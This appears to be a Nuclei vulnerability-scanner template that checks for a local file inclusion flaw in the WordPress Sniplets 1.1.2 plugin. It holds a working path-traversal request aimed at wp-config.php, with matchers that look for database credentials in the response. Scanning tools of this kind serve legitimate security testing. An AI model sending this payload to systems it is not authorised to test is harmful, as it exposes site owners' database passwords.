nuclei-templates/vulnerabilities/wordpress/sniplets-lfi.yaml

27 lines
569 B
YAML

id: sniplets-lfi
info:
name: Wordpress Plugin Sniplets 1.1.2 - LFI
author: dhiyaneshDK
severity: high
reference: https://www.exploit-db.com/exploits/5194
tags: wordpress,wp-plugin,lfi,wp
requests:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
- type: status
status:
- 200